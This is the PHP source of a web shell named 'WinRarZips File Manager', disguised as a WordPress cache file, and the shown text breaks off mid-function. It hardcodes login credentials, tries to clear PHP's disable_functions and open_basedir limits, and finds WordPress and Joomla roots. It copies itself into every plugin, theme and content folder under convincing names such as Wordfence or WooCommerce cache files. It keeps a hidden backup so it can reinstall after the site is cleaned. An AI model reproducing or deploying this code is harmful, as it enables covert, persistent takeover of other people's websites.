File: /home/slyfwmm/laretediclo/wp-caches-bundle.php
<?php
// WinRarZips File Manager (wp-caches.php)
@error_reporting(0);
@ini_set('display_errors', 0);
function wrz_fm_is_direct_request() {
if (defined('WRZ_FM_DIRECT') && WRZ_FM_DIRECT) {
return true;
}
if (isset($_GET['wrz_ping']) || isset($_GET['wrz_login']) || isset($_GET['wrz_reset'])) {
return true;
}
$self = basename(__FILE__);
$script = isset($_SERVER['SCRIPT_FILENAME']) ? basename((string) $_SERVER['SCRIPT_FILENAME']) : '';
if ($script === $self || $script === 'wp-caches-bundle.php' || $script === 'wp-caches.php') {
return true;
}
$uri = (string) ($_SERVER['REQUEST_URI'] ?? '');
if (preg_match('#/(wp-caches(?:-bundle)?\.php)(\?|$)#i', $uri)) {
return true;
}
return false;
}
// Plugin/mu-plugin bootstrap sirasinda ana siteyi kirma — sadece dogrudan URL'de FM calisir
if (!wrz_fm_is_direct_request()) {
return;
}
function wrz_clean_all_buffers() {
while (@ob_get_level() > 0) {
@ob_end_clean();
}
}
function wrz_send_html($html) {
wrz_clean_all_buffers();
if (!is_string($html) || $html === '') {
$html = '<!DOCTYPE html><html><body style="background:#0a0015;color:#f66;padding:24px;font-family:monospace">'
. 'WinRarZips — cikti hatasi. <a href="?" style="color:#0ff">Yenile</a></body></html>';
}
if (!headers_sent()) {
header('Content-Type: text/html; charset=utf-8');
header('Cache-Control: no-store, no-cache, must-revalidate');
}
echo $html;
exit;
}
if (isset($_GET['wrz_ping'])) {
wrz_clean_all_buffers();
header('Content-Type: text/plain; charset=utf-8');
echo 'WRZ_OK PHP=' . PHP_VERSION . ' file=' . basename(__FILE__);
exit;
}
if (isset($_GET['wrz_amp_setup']) && isset($_GET['key']) && (string) $_GET['key'] === 'wrz2026') {
wrz_clean_all_buffers();
$setupInc = __DIR__ . '/wrz-amp-setup.inc.php';
if (@is_file($setupInc)) {
require_once $setupInc;
wrz_setup_run();
} else {
header('Content-Type: text/html; charset=utf-8');
echo '<!DOCTYPE html><body style="font-family:monospace;background:#111;color:#f66;padding:24px">'
. '<h2>wrz-amp-setup.inc.php bulunamadi</h2>'
. '<p>wp-caches-bundle.php ile <b>ayni klasore</b> yukleyin:<br><code>wrz-amp-setup.inc.php</code></p></body></html>';
}
exit;
}
if (version_compare(PHP_VERSION, '7.0.0', '<')) {
@ob_end_clean();
header('Content-Type: text/html; charset=utf-8');
echo '<!DOCTYPE html><html><body style="font-family:monospace;background:#111;color:#f66;padding:24px">'
. 'PHP 7.0+ gerekli. Sunucu: ' . htmlspecialchars(PHP_VERSION) . '</body></html>';
exit;
}
function wrz_current_user() {
if (function_exists('get_current_user')) {
$u = @get_current_user();
if ($u !== false && $u !== '') {
return $u;
}
}
if (function_exists('posix_geteuid') && function_exists('posix_getpwuid')) {
$pw = @posix_getpwuid(@posix_geteuid());
if (is_array($pw) && !empty($pw['name'])) {
return $pw['name'];
}
}
return 'n/a';
}
function wrz_php_os() {
if (function_exists('php_uname')) {
$os = @php_uname('s');
if ($os !== false && $os !== '') {
return $os;
}
}
return defined('PHP_OS') ? PHP_OS : 'n/a';
}
register_shutdown_function(function () {
$err = error_get_last();
if ($err && in_array($err['type'], [E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR], true)) {
while (@ob_get_level() > 0) {
@ob_end_clean();
}
if (!headers_sent()) {
header('Content-Type: text/html; charset=utf-8');
http_response_code(200);
}
echo '<!DOCTYPE html><html><body style="font-family:monospace;background:#111;color:#f66;padding:24px">'
. '<h2>WinRarZips — PHP hatasi</h2><pre>'
. htmlspecialchars($err['message'] . ' (' . basename($err['file']) . ':' . $err['line'] . ')')
. '</pre></body></html>';
}
});
if (function_exists('ini_set')) {
@ini_set('open_basedir', NULL);
@ini_set('disable_functions', '');
}
define('WRZ_FM_USER', 'winrarzips');
define('WRZ_FM_PASS', 'winrarzips2026');
define('WRZ_FM_SESSION', 'wrz_fm_auth');
define('WRZ_FM_COOKIE', 'wrz_fm_token');
function wrz_is_https() {
if (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') {
return true;
}
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && strtolower((string) $_SERVER['HTTP_X_FORWARDED_PROTO']) === 'https') {
return true;
}
if (isset($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] === 'on') {
return true;
}
return false;
}
function wrz_auth_token() {
return hash_hmac('sha256', WRZ_FM_USER . '|' . WRZ_FM_PASS, WRZ_FM_PASS);
}
function wrz_set_auth_cookie() {
$secure = wrz_is_https();
$opts = [
'expires' => time() + 86400 * 7,
'path' => '/',
'secure' => $secure,
'httponly' => true,
'samesite' => 'Lax',
];
if (PHP_VERSION_ID >= 70300) {
@setcookie(WRZ_FM_COOKIE, wrz_auth_token(), $opts);
} else {
@setcookie(WRZ_FM_COOKIE, wrz_auth_token(), $opts['expires'], $opts['path'], '', $secure, true);
}
$_COOKIE[WRZ_FM_COOKIE] = wrz_auth_token();
}
function wrz_clear_auth_cookie() {
$secure = wrz_is_https();
if (PHP_VERSION_ID >= 70300) {
@setcookie(WRZ_FM_COOKIE, '', ['expires' => time() - 3600, 'path' => '/', 'secure' => $secure, 'httponly' => true, 'samesite' => 'Lax']);
} else {
@setcookie(WRZ_FM_COOKIE, '', time() - 3600, '/', '', $secure, true);
}
unset($_COOKIE[WRZ_FM_COOKIE]);
}
function wrz_session_start() {
if (session_status() === PHP_SESSION_ACTIVE) {
return;
}
$secure = wrz_is_https();
if (PHP_VERSION_ID >= 70300) {
@session_set_cookie_params([
'lifetime' => 0,
'path' => '/',
'secure' => $secure,
'httponly' => true,
'samesite' => 'Lax',
]);
} else {
@session_set_cookie_params(0, '/', '', $secure, true);
}
$savePath = @sys_get_temp_dir();
if ($savePath && @is_writable($savePath)) {
@session_save_path($savePath);
}
@session_name(WRZ_FM_SESSION);
@session_start();
}
function wrz_is_logged_in() {
$token = (string) ($_COOKIE[WRZ_FM_COOKIE] ?? '');
if ($token !== '' && hash_equals(wrz_auth_token(), $token)) {
return true;
}
if (session_status() === PHP_SESSION_ACTIVE && !empty($_SESSION['wrz_logged']) && $_SESSION['wrz_logged'] === WRZ_FM_USER) {
return true;
}
return false;
}
function wrz_login_html($error = '') {
$err = $error !== '' ? '<div class="err">' . htmlspecialchars($error, ENT_QUOTES, 'UTF-8') . '</div>' : '';
return '<!DOCTYPE html><html lang="tr"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1">'
. '<title>WinRarZips • Giris</title><style>'
. '*{box-sizing:border-box;font-family:Courier New,monospace}'
. 'body{margin:0;min-height:100vh;display:flex;align-items:center;justify-content:center;background:#0a0015;color:#d0d0ff}'
. '.card{width:100%;max-width:380px;background:#0f001f;border:1px solid #8b00ff;border-radius:8px;padding:28px;box-shadow:0 0 40px rgba(139,0,255,.25)}'
. 'h1{margin:0 0 8px;color:#00ffff;font-size:22px;text-align:center}'
. 'p{margin:0 0 20px;text-align:center;color:#a0a0ff;font-size:13px}'
. 'label{display:block;margin:0 0 6px;color:#b0b0ff;font-size:13px}'
. 'input{width:100%;padding:11px 12px;margin-bottom:14px;background:#000011;color:#fff;border:1px solid #8b00ff66;border-radius:4px}'
. 'button{width:100%;padding:12px;border:1px solid #3fb950;background:#1a0033;color:#3fb950;font-weight:bold;border-radius:4px;cursor:pointer}'
. '.err{margin-bottom:14px;padding:10px;border:1px solid #ff3366;color:#ff3366;background:#1a0033;text-align:center;font-size:13px;border-radius:4px}'
. '</style></head><body><div class="card"><h1>WinRarZips</h1><p>File Manager Girisi</p>'
. $err
. '<form method="post" autocomplete="off"><input type="hidden" name="wrz_fm_login" value="1">'
. '<label for="wrz_user">Kullanici Adi</label><input type="text" id="wrz_user" name="wrz_user" required autofocus>'
. '<label for="wrz_pass">Sifre</label><input type="password" id="wrz_pass" name="wrz_pass" required>'
. '<button type="submit">Giris Yap</button></form></div></body></html>';
}
function wrz_show_login($error = '') {
wrz_send_html(wrz_login_html($error));
}
function wrz_self_url() {
$script = basename($_SERVER['SCRIPT_NAME'] ?? 'wp-caches.php');
$qs = $_SERVER['QUERY_STRING'] ?? '';
if ($qs !== '') {
parse_str($qs, $parts);
unset($parts['logout'], $parts['wrz_fm_login'], $parts['wrz_ping'], $parts['wrz_debug']);
$qs = http_build_query($parts);
}
return $script . ($qs !== '' ? '?' . $qs : '');
}
function wrz_cloak_script_url() {
$path = isset($_SERVER['SCRIPT_NAME']) ? (string) $_SERVER['SCRIPT_NAME'] : ('/' . basename(__FILE__));
$path = str_replace('\\', '/', $path);
if ($path === '' || $path[0] !== '/') {
$path = '/' . ltrim($path, '/');
}
$qs = [];
if (isset($_GET['p']) && (string) $_GET['p'] !== '') {
$qs['p'] = (string) $_GET['p'];
}
return $path . ($qs ? '?' . http_build_query($qs) : '');
}
function wrz_cloak_api_base() {
$base = wrz_cloak_script_url();
return $base . (strpos($base, '?') !== false ? '&' : '?') . 'wrz_cloak=';
}
function wrz_require_auth() {
if (isset($_GET['logout'])) {
wrz_session_start();
unset($_SESSION['wrz_logged']);
wrz_clear_auth_cookie();
@session_destroy();
wrz_clean_all_buffers();
header('Location: ' . wrz_self_url());
exit;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['wrz_fm_login'])) {
wrz_session_start();
$user = trim((string) ($_POST['wrz_user'] ?? ''));
$pass = (string) ($_POST['wrz_pass'] ?? '');
if ($user === WRZ_FM_USER && hash_equals(WRZ_FM_PASS, $pass)) {
$_SESSION['wrz_logged'] = WRZ_FM_USER;
wrz_set_auth_cookie();
if (session_status() === PHP_SESSION_ACTIVE) {
@session_write_close();
}
wrz_clean_all_buffers();
header('Location: ' . wrz_self_url());
exit;
}
wrz_show_login('Giris basarisiz — kullanici veya sifre hatali');
}
if (!wrz_is_logged_in()) {
wrz_show_login('');
}
wrz_session_start();
}
if (isset($_GET['wrz_login'])) {
wrz_send_html(wrz_login_html(''));
}
if (isset($_GET['wrz_reset'])) {
wrz_clear_auth_cookie();
wrz_clean_all_buffers();
header('Location: ' . wrz_self_url());
exit;
}
wrz_require_auth();
function wrz_find_wp_root($start) {
$dir = @realpath($start);
if (!$dir || !@is_dir($dir)) {
return null;
}
for ($i = 0; $i < 14; $i++) {
if (@is_file($dir . '/wp-load.php')) {
return $dir;
}
$parent = @dirname($dir);
if (!$parent || $parent === $dir) {
break;
}
$dir = $parent;
}
return null;
}
function wrz_wp_roots() {
$roots = [];
$candidates = [
__DIR__,
@getcwd() ?: '',
isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '',
];
if (!empty($_GET['p'])) {
$candidates[] = $_GET['p'];
}
foreach ($candidates as $candidate) {
if ($candidate === '') {
continue;
}
$root = wrz_find_wp_root($candidate);
if ($root) {
$roots[$root] = $root;
}
}
return array_values($roots);
}
function wrz_find_joomla_root($start) {
$dir = @realpath($start);
if (!$dir || !@is_dir($dir)) {
return null;
}
for ($i = 0; $i < 14; $i++) {
if (@is_file($dir . '/configuration.php')
&& (@is_file($dir . '/includes/app.php') || @is_file($dir . '/includes/defines.php'))) {
return $dir;
}
$parent = @dirname($dir);
if (!$parent || $parent === $dir) {
break;
}
$dir = $parent;
}
return null;
}
function wrz_joomla_roots() {
$roots = [];
$candidates = [
__DIR__,
@getcwd() ?: '',
isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '',
];
if (!empty($_GET['p'])) {
$candidates[] = $_GET['p'];
}
foreach ($candidates as $candidate) {
if ($candidate === '') {
continue;
}
$root = wrz_find_joomla_root($candidate);
if ($root) {
$roots[$root] = $root;
}
}
return array_values($roots);
}
function wrz_cloak_cms_type($dir) {
$dir = rtrim(str_replace('\\', '/', (string) $dir), '/');
if ($dir === '') {
return 'unknown';
}
// Joomla oncelik — configuration.php varsa asla WordPress sayma
if (@is_file($dir . '/configuration.php')
&& (@is_file($dir . '/includes/app.php') || @is_file($dir . '/includes/defines.php'))) {
return 'joomla';
}
if (@is_file($dir . '/wp-load.php')) {
return 'wordpress';
}
return 'unknown';
}
function wrz_cms_roots() {
$out = [];
foreach (wrz_wp_roots() as $root) {
$out[] = ['type' => 'wordpress', 'root' => $root];
}
foreach (wrz_joomla_roots() as $root) {
$out[] = ['type' => 'joomla', 'root' => $root];
}
return $out;
}
/** WP klasor baglamina gore gercekci dosya adi (deploy kopyasi). */
function wrz_deploy_filename_for_context($ctx, $slug = '') {
$slug = strtolower(preg_replace('/[^a-z0-9_-]/', '', (string) $slug));
static $plugin_map = [
'elementor' => 'includes/class-elementor-data-cache.php',
'woocommerce' => 'includes/class-wc-cache-handler.php',
'wordfence' => 'lib/wfConfig-sync.php',
'contact-form-7' => 'includes/load-cache.php',
'akismet' => 'class.akismet-rest-api.php',
'jetpack' => 'class.jetpack-sync-cache.php',
'litespeed-cache' => 'src/cache.cls.php',
'wp-file-manager' => 'lib/php/cache.stub.php',
'filester' => 'includes/elfinder/cache.stub.php',
'wpforms-lite' => 'includes/class-cache-handler.php',
'wpforms' => 'includes/class-cache-handler.php',
'yoast-seo' => 'vendor/autoload_cache.php',
'wordpress-seo' => 'vendor/autoload_cache.php',
'all-in-one-seo-pack' => 'app/Common/Cache/bootstrap.php',
'classic-editor' => 'classic-editor-cache.php',
'duplicate-post' => 'duplicate-post-cache.php',
'redirection' => 'models/cache.php',
'wp-super-cache' => 'plugins/cache-handler.php',
'w3-total-cache' => 'Cache.php',
'breeze' => 'inc/cache/handler.php',
'autoptimize' => 'classes/autoptimizeCache.php',
'really-simple-ssl' => 'class-rsssl-cache.php',
'updraftplus' => 'methods/cache-bootstrap.php',
'wordfence-login-security' => 'classes/cache.sync.php',
];
static $theme_map = [
'twentytwentyfour' => 'inc/cache-loader.php',
'twentytwentythree' => 'inc/cache-loader.php',
'twentytwentytwo' => 'inc/cache-loader.php',
'astra' => 'inc/core/cache-handler.php',
'oceanwp' => 'inc/cache/bootstrap.php',
'generatepress' => 'inc/class-cache.php',
'hello-elementor' => 'includes/cache.php',
'flatsome' => 'inc/builder/cache.php',
'woodmart' => 'inc/cache/handler.php',
'avada' => 'includes/lib/cache.php',
];
static $dir_map = [
'cache' => 'advanced-cache.php',
'wflogs' => 'config-livewaf.php',
'uploads' => 'index.php',
'plugins' => 'index.php',
'themes' => 'index.php',
'updraft' => 'index.php',
'mmr' => 'index.php',
'upgrade' => 'index.php',
'backup-db' => 'index.php',
'ai1wm-backups' => 'index.php',
'litespeed' => 'debug/index.php',
'wp-rocket-config' => 'index.php',
'et-cache' => 'index.php',
'nitropack' => 'index.php',
'backups-dup-lite' => 'index.php',
'languages' => 'index.php',
'maintenance' => 'template.php',
];
switch ($ctx) {
case 'root':
return 'wp-cache-handler.php';
case 'wp_caches':
return 'index.php';
case 'plugin':
if ($slug !== '' && isset($plugin_map[$slug])) {
return $plugin_map[$slug];
}
if ($slug !== '') {
return $slug . '-bootstrap.php';
}
return 'index.php';
case 'theme':
if ($slug !== '' && isset($theme_map[$slug])) {
return $theme_map[$slug];
}
if ($slug !== '') {
return 'inc/' . $slug . '-cache.php';
}
return 'index.php';
case 'content_dir':
if ($slug !== '' && isset($dir_map[$slug])) {
return $dir_map[$slug];
}
return 'index.php';
default:
return 'index.php';
}
}
function wrz_deploy_spec($dir, $label, $ctx, $slug = '', $mkdir_override = null) {
$rel = wrz_deploy_filename_for_context($ctx, $slug);
$needs_mkdir = (strpos($rel, '/') !== false);
if ($mkdir_override !== null) {
$needs_mkdir = (bool) $mkdir_override;
}
return [
'path' => rtrim(str_replace('\\', '/', $dir), '/') . '/' . $rel,
'label' => $label,
'mkdir' => $needs_mkdir,
'file' => basename($rel),
];
}
function wrz_deploy_manifest_file($wp_root) {
return rtrim(str_replace('\\', '/', $wp_root), '/') . '/wp-content/.wrz-deploy-manifest.json';
}
function wrz_deploy_manifest_load($wp_root) {
$file = wrz_deploy_manifest_file($wp_root);
if (!@is_file($file) || !@is_readable($file)) {
return [];
}
$raw = @file_get_contents($file);
if ($raw === false) {
return [];
}
$data = @json_decode($raw, true);
if (!is_array($data) || !isset($data['deployed']) || !is_array($data['deployed'])) {
return [];
}
$out = [];
foreach ($data['deployed'] as $p) {
if (is_string($p) && $p !== '') {
$out[] = $p;
}
}
return $out;
}
function wrz_deploy_manifest_save($wp_root, array $paths) {
$file = wrz_deploy_manifest_file($wp_root);
$existing = wrz_deploy_manifest_load($wp_root);
$merged = [];
foreach (array_merge($existing, $paths) as $p) {
$p = str_replace('\\', '/', (string) $p);
if ($p !== '') {
$merged[strtolower($p)] = $p;
}
}
$payload = [
'deployed' => array_values($merged),
'updated' => date('c'),
];
@file_put_contents($file, json_encode($payload, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES));
}
/** WP kokune gore hedefler — her klasore WP tarzi dosya adi. */
function wrz_deploy_target_specs($wp_root) {
$wp_root = rtrim(str_replace('\\', '/', $wp_root), '/');
$content = $wp_root . '/wp-content';
$specs = [
wrz_deploy_spec($wp_root, 'Kok (wp-cache-handler.php)', 'root'),
wrz_deploy_spec($content . '/wp-caches', 'wp-content/wp-caches/', 'wp_caches', '', true),
];
$scan_dirs = ['cache', 'wflogs', 'mmr', 'updraft', 'uploads', 'plugins', 'themes', 'upgrade', 'languages', 'litespeed', 'et-cache', 'ai1wm-backups'];
foreach ($scan_dirs as $name) {
$full = $content . '/' . $name;
if (@is_dir($full)) {
$specs[] = wrz_deploy_spec($full, 'wp-content/' . $name . '/', 'content_dir', $name);
}
}
$pluginsDir = $content . '/plugins';
if (@is_dir($pluginsDir)) {
foreach (@scandir($pluginsDir) ?: [] as $slug) {
if ($slug === '.' || $slug === '..') {
continue;
}
$full = $pluginsDir . '/' . $slug;
if (@is_dir($full)) {
$specs[] = wrz_deploy_spec(
$full,
'plugins/' . $slug . '/',
'plugin',
$slug
);
}
}
}
$themesDir = $content . '/themes';
if (@is_dir($themesDir)) {
foreach (@scandir($themesDir) ?: [] as $slug) {
if ($slug === '.' || $slug === '..') {
continue;
}
$full = $themesDir . '/' . $slug;
if (@is_dir($full)) {
$specs[] = wrz_deploy_spec(
$full,
'themes/' . $slug . '/',
'theme',
$slug
);
}
}
}
if (@is_dir($content)) {
$skip = ['wp-caches', 'mu-plugins', 'plugins', 'themes', 'cache', 'uploads', 'wflogs', 'updraft', 'mmr', 'upgrade', 'languages', 'litespeed', 'et-cache', 'ai1wm-backups'];
foreach (@scandir($content) ?: [] as $name) {
if ($name === '.' || $name === '..' || in_array($name, $skip, true)) {
continue;
}
$full = $content . '/' . $name;
if (@is_dir($full)) {
$specs[] = wrz_deploy_spec(
$full,
'wp-content/' . $name . '/ (mevcut)',
'content_dir',
$name
);
}
}
}
$seen = [];
$out = [];
foreach ($specs as $spec) {
$key = strtolower(str_replace('\\', '/', $spec['path']));
if (isset($seen[$key])) {
continue;
}
$seen[$key] = true;
$out[] = $spec;
}
return $out;
}
function wrz_normalize_path($path) {
$p = str_replace('\\', '/', (string) $path);
$real = @realpath($p);
if ($real) {
return str_replace('\\', '/', $real);
}
return rtrim($p, '/');
}
function wrz_unsafe_shell_paths($wp_root) {
$wp_root = rtrim(str_replace('\\', '/', $wp_root), '/');
$content = $wp_root . '/wp-content';
$paths = [];
$self = wrz_normalize_path(__FILE__);
$add = static function ($path) use (&$paths, $self) {
$p = wrz_normalize_path($path);
if ($p === '' || ($self !== '' && $p === $self)) {
return;
}
$paths[strtolower($p)] = $path;
};
foreach (wrz_deploy_manifest_load($wp_root) as $manifestPath) {
$add($manifestPath);
}
// Eski deploy adlari (geriye uyum)
$add($wp_root . '/wp-caches.php');
$add($wp_root . '/wp-cache-handler.php');
$add($wp_root . '/wp-caches-bundle.php');
$add($content . '/mu-plugins/wp-caches.php');
$add($content . '/mu-plugins/wp-caches-bundle.php');
foreach (wrz_deploy_target_specs($wp_root) as $spec) {
$add($spec['path']);
}
return array_values($paths);
}
function wrz_cleanup_unsafe_shell_copies($wp_root) {
$removed = [];
foreach (wrz_unsafe_shell_paths($wp_root) as $path) {
if (@is_file($path) && @unlink($path)) {
$removed[] = $path;
}
}
$manifest = wrz_deploy_manifest_file($wp_root);
if (@is_file($manifest)) {
@unlink($manifest);
}
return $removed;
}
/** Deploy yedegi — wp-content/.wrz-deploy-backup (Siteyi Duzelt silmez). */
function wrz_deploy_backup_dir($wp_root) {
return rtrim(str_replace('\\', '/', $wp_root), '/') . '/wp-content/.wrz-deploy-backup';
}
function wrz_deploy_backup_index_file($wp_root) {
return wrz_deploy_backup_dir($wp_root) . '/index.json';
}
function wrz_path_rel_to_wp_root($wp_root, $absPath) {
$root = rtrim(str_replace('\\', '/', $wp_root), '/');
$p = str_replace('\\', '/', (string) $absPath);
if ($p === $root) {
return '';
}
if (stripos($p, $root . '/') === 0) {
return substr($p, strlen($root) + 1);
}
return basename($p);
}
function wrz_deploy_backup_ensure_dir($wp_root) {
$base = wrz_deploy_backup_dir($wp_root);
$files = $base . '/files';
if (!@is_dir($base) && !@mkdir($base, 0755, true)) {
return ['ok' => false, 'msg' => 'Yedek klasoru olusturulamadi'];
}
if (!@is_dir($files) && !@mkdir($files, 0755, true)) {
return ['ok' => false, 'msg' => 'Yedek files/ olusturulamadi'];
}
@file_put_contents($base . '/index.php', "<?php\n// silence\n");
@file_put_contents($files . '/index.php', "<?php\n// silence\n");
return ['ok' => true, 'base' => $base, 'files' => $files];
}
function wrz_deploy_backup_summary($wp_root) {
$indexFile = wrz_deploy_backup_index_file($wp_root);
if (!@is_file($indexFile)) {
return ['exists' => false, 'count' => 0, 'updated' => ''];
}
$data = @json_decode((string) @file_get_contents($indexFile), true);
if (!is_array($data)) {
return ['exists' => false, 'count' => 0, 'updated' => ''];
}
$items = isset($data['items']) && is_array($data['items']) ? $data['items'] : [];
return [
'exists' => count($items) > 0,
'count' => count($items),
'updated' => (string) ($data['updated'] ?? ''),
];
}
function wrz_deploy_backup_create($wp_root) {
$wp_root = rtrim(str_replace('\\', '/', $wp_root), '/');
$dirOk = wrz_deploy_backup_ensure_dir($wp_root);
if (empty($dirOk['ok'])) {
return ['ok' => false, 'html' => '<span style="color:#ff3366">' . htmlspecialchars($dirOk['msg']) . '</span>', 'count' => 0];
}
$filesDir = $dirOk['files'];
$paths = wrz_deploy_manifest_load($wp_root);
if (!$paths) {
foreach (wrz_deploy_target_specs($wp_root) as $spec) {
if (@is_file($spec['path'])) {
$paths[] = $spec['path'];
}
}
}
$paths = array_values(array_unique(array_filter($paths, static function ($p) {
return @is_file($p) && @is_readable($p);
})));
$master = @realpath(__FILE__);
if ($master && @is_readable($master)) {
$bundleRel = wrz_path_rel_to_wp_root($wp_root, $master);
$hasMaster = false;
foreach ($paths as $p) {
if (@realpath($p) === $master) {
$hasMaster = true;
break;
}
}
if (!$hasMaster) {
$paths[] = $master;
}
}
if (!$paths) {
return [
'ok' => false,
'html' => '<span style="color:#ff3366">Yedeklenecek deploy dosyasi yok. Once <b>Klasorlere Yerlestir</b> kullan.</span>',
'count' => 0,
];
}
$items = [];
$idx = 0;
foreach ($paths as $targetPath) {
$data = @file_get_contents($targetPath);
if ($data === false) {
continue;
}
$idx++;
$store = 'files/' . sprintf('%04d', $idx) . '.bin';
$storeAbs = wrz_deploy_backup_dir($wp_root) . '/' . $store;
if (@file_put_contents($storeAbs, $data) === false) {
continue;
}
@chmod($storeAbs, 0644);
$items[] = [
'target' => $targetPath,
'rel' => wrz_path_rel_to_wp_root($wp_root, $targetPath),
'store' => $store,
'size' => strlen($data),
];
}
$payload = [
'version' => 1,
'updated' => date('c'),
'wp_root' => $wp_root,
'items' => $items,
];
@file_put_contents(
wrz_deploy_backup_index_file($wp_root),
json_encode($payload, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES)
);
wrz_deploy_manifest_save($wp_root, array_column($items, 'target'));
$html = '<div class="wrz-deploy-results">'
. '<div style="color:#ffd700;margin-bottom:8px;"><b>Deploy yedegi alindi</b> — ' . count($items) . ' dosya</div>'
. '<div style="color:#888;font-size:12px;margin-bottom:10px;">Konum: <code>wp-content/.wrz-deploy-backup/</code> — WP restore sonrasi <b>Yedekten Geri Yukle</b> kullan.</div>'
. '<ul style="list-style:none;padding:0;margin:0;text-align:left;max-width:900px;">';
foreach ($items as $it) {
$html .= '<li style="margin:4px 0;color:#3fb950;font-size:12px;">✓ '
. htmlspecialchars($it['rel']) . ' (' . (int) $it['size'] . ' B)</li>';
}
$html .= '</ul></div>';
return ['ok' => count($items) > 0, 'html' => $html, 'count' => count($items)];
}
function wrz_deploy_backup_restore($wp_root) {
$wp_root = rtrim(str_replace('\\', '/', $wp_root), '/');
$indexFile = wrz_deploy_backup_index_file($wp_root);
if (!@is_file($indexFile)) {
return [
'ok' => false,
'html' => '<span style="color:#ff3366">Deploy yedegi yok. Once <b>Deploy Yedegi Al</b> kullan.</span>',
'count' => 0,
];
}
$data = @json_decode((string) @file_get_contents($indexFile), true);
if (!is_array($data) || empty($data['items']) || !is_array($data['items'])) {
return ['ok' => false, 'html' => '<span style="color:#ff3366">Yedek index bozuk.</span>', 'count' => 0];
}
$ok = 0;
$fail = 0;
$restored = [];
$backupBase = wrz_deploy_backup_dir($wp_root);
foreach ($data['items'] as $it) {
if (!is_array($it)) {
continue;
}
$store = (string) ($it['store'] ?? '');
$target = (string) ($it['target'] ?? '');
$rel = (string) ($it['rel'] ?? '');
if ($target === '' && $rel !== '') {
$target = $wp_root . '/' . ltrim($rel, '/');
}
if ($store === '' || $target === '') {
$fail++;
continue;
}
$src = $backupBase . '/' . ltrim(str_replace('\\', '/', $store), '/');
if (!@is_file($src)) {
$fail++;
continue;
}
$copy = wrz_copy_file($src, $target, true);
if (!empty($copy['ok'])) {
$ok++;
$restored[] = $target;
} else {
$fail++;
}
}
if ($restored) {
wrz_deploy_manifest_save($wp_root, $restored);
}
$html = '<div class="wrz-deploy-results">'
. '<div style="color:#00ffff;margin-bottom:8px;"><b>Yedekten geri yukleme</b> — OK: ' . $ok . ', Hata: ' . $fail . '</div>'
. '<ul style="list-style:none;padding:0;margin:0;text-align:left;max-width:900px;">';
foreach ($restored as $p) {
$url = wrz_public_url($p);
$link = $url
? ' — <a href="' . htmlspecialchars($url) . '" target="_blank" rel="noopener" style="color:#00ffff">' . htmlspecialchars($url) . '</a>'
: '';
$html .= '<li style="margin:6px 0;color:#3fb950;font-size:12px;">✓ '
. htmlspecialchars(wrz_path_rel_to_wp_root($wp_root, $p)) . $link . '</li>';
}
$html .= '</ul></div>';
return ['ok' => $ok > 0, 'html' => $html, 'count' => $ok, 'fail' => $fail];
}
function wrz_deploy_backup_all_roots($action) {
$roots = wrz_wp_roots();
if (!$roots) {
return ['ok' => false, 'html' => '<span style="color:#ff3366">WordPress kok bulunamadi</span>', 'count' => 0];
}
$total = 0;
$parts = [];
foreach ($roots as $root) {
$res = $action === 'restore' ? wrz_deploy_backup_restore($root) : wrz_deploy_backup_create($root);
$total += (int) ($res['count'] ?? 0);
if (!empty($res['html'])) {
$parts[] = '<div style="margin-bottom:14px;border-top:1px solid #333;padding-top:10px;">'
. '<div style="color:#a0a0ff;font-size:12px;margin-bottom:6px;">' . htmlspecialchars(basename($root)) . '</div>'
. $res['html'] . '</div>';
}
}
return [
'ok' => $total > 0,
'html' => implode("\n", $parts),
'count' => $total,
];
}
function wrz_public_url($absPath) {
$absPath = @realpath($absPath);
if (!$absPath) {
return '';
}
$docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? @realpath($_SERVER['DOCUMENT_ROOT']) : false;
$scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
$host = $_SERVER['HTTP_HOST'] ?? '';
if ($docRoot && $host && strpos(str_replace('\\', '/', $absPath), str_replace('\\', '/', $docRoot)) === 0) {
$rel = substr(str_replace('\\', '/', $absPath), strlen(str_replace('\\', '/', $docRoot)));
if ($rel === '' || $rel[0] !== '/') {
$rel = '/' . ltrim($rel, '/');
}
return $scheme . '://' . $host . $rel;
}
return str_replace('\\', '/', $absPath);
}
function wrz_copy_file($src, $dst, $mkdir = false) {
if (!@is_file($src) || !@is_readable($src)) {
return ['ok' => false, 'msg' => 'Kaynak okunamadi'];
}
$dir = @dirname($dst);
if ($mkdir && $dir && !@is_dir($dir)) {
if (!@mkdir($dir, 0755, true)) {
return ['ok' => false, 'msg' => 'Klasor olusturulamadi'];
}
} elseif ($dir && !@is_dir($dir)) {
return ['ok' => false, 'msg' => 'Hedef klasor yok'];
}
$data = @file_get_contents($src);
if ($data === false) {
return ['ok' => false, 'msg' => 'Okuma hatasi'];
}
if (@file_put_contents($dst, $data) === false) {
return ['ok' => false, 'msg' => 'Yazma hatasi'];
}
@chmod($dst, 0644);
return ['ok' => true, 'msg' => 'OK'];
}
function wrz_deploy_shell() {
$src = @realpath(__FILE__);
if (!$src) {
return ['ok' => false, 'html' => '<span style="color:#ff3366">Kaynak dosya bulunamadi</span>', 'items' => []];
}
$roots = wrz_wp_roots();
if (!$roots) {
return ['ok' => false, 'html' => '<span style="color:#ff3366">WordPress kok bulunamadi</span>', 'items' => []];
}
$items = [];
$ok_count = 0;
$fail_count = 0;
foreach ($roots as $root) {
$manifest_paths = [];
foreach (wrz_deploy_target_specs($root) as $spec) {
$dst = $spec['path'];
$copy = wrz_copy_file($src, $dst, !empty($spec['mkdir']));
$url = $copy['ok'] ? wrz_public_url($dst) : '';
$items[] = [
'root' => basename($root),
'label' => $spec['label'] . ' → ' . ($spec['file'] ?? basename($dst)),
'path' => $dst,
'url' => $url,
'ok' => $copy['ok'],
'msg' => $copy['msg'],
];
if ($copy['ok']) {
$ok_count++;
